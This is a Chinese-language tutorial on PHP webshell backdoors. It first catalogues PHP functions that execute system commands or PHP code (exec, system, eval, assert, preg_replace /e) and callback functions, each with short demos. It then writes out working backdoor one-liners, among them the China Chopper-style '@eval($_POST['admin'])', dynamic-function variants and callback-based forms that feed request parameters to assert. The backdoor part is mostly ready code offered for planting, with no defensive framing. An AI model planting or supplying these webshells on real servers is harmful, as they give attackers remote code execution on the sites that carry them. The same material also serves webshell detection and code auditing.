一、PHP後門函數
1、命令執行函數
exec
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:執行一個外部程序,返回命令執行結果最後一行內容。
string exec ( string $command
[, array &$output
[, int &$return_var
]] )
<?php
echo exec('cd'); //D:\phpStudy\PHPTutorial\WWW
echo exec('ipconfig'); //. . . . . . . . . . . . . : 172.31.100.1
?>
shell_exec
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:通過 shell 環境執行命令,並且將完整的輸出以字符串的方式返回
string shell_exec ( string $cmd
)
<?php
echo shell_exec('ipconfig'); //顯示ipconfig命令全部內容
?>
passthru
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:執行外部程序並且顯示原始輸出(全部原始內容,不用輸出)
void passthru ( string $command
[, int &$return_var
] )
<?php
passthru('ipconfig'); //顯示ipconfig全部內容
?>
system
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:執行外部程序並且顯示輸出
string system ( string $command
[, int &$return_var
] )
<?php
echo system('ipconfig'); //顯示ipconfig命令全部內容
?>
當然還有其它執行系統命令的函數,如popen()、proc_open(),但這兩個函數不返回命令執行結果。
2、PHP代碼執行函數
eval
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:把字符串作爲PHP代碼執行
mixed eval ( string $code
)
<?php
eval('phpinfo();');
?>
assert
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:檢查一個斷言是否爲 FALSE
bool assert ( mixed $assertion
[, string $description
] )
如果 assertion
是字符串,它將會被 assert() 當做 PHP 代碼來執行。
<?php
assert(phpinfo());
assert('print 123');
?>
preg_replace
適用範圍:PHP 4, PHP 5, PHP 7 函數作用:執行一個正則表達式的搜索和替換
mixed preg_replace ( mixed $pattern
, mixed $replacement
, mixed $subject
[, int $limit
= -1 [, int &$count
]] )
/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼執行
<?php
preg_replace("//e","phpinfo()",""); //執行phpinfo()成功
?>
3、回調函數
解釋:把函數作爲參數傳入進另一個函數中使用。
call_user_func
把第一個參數作爲回調函數調用
call_user_func_array
調用回調函數,並把一個數組參數作爲回調函數的參數
usort
使用用戶自定義的比較函數對數組中的值進行排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
註冊一個會在php中止時執行的函數
array_map
爲數組的每個元素應用回調函數
array_walk
使用用戶自定義函數對數組中的每個元素做回調處理
array_filter
用回調函數過濾數組中的單元
array_reduce
用回調函數迭代地將數組簡化爲單一的值
array_udiff
用回調函數比較數據來計算數組的差集
array_uintersect
計算數組的交集,用回調函數比較數據
array_diff_uassoc
用用戶提供的回調函數做索引檢查來計算數組的差集
array_diff_ukey
用回調函數對鍵名比較計算數組的差集
等等,其它含有回調函數的函數
二、後門構造
普通後門,通過各種方法構造動態函數:
<?php
@eval($_POST['admin']); //菜刀的後門
//稍微變形下的後門
$_GET['func']($_REQUEST['pass']);
$_GET['POST']($_POST['GET']);
......
?>
通過回調函數進行構造後門
<?php
call_user_func('assert', $_POST['pass']);
call_user_func_array('assert', array($_POST['pass']));
//數組回調進行構造後門
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回調函數進行構造
?>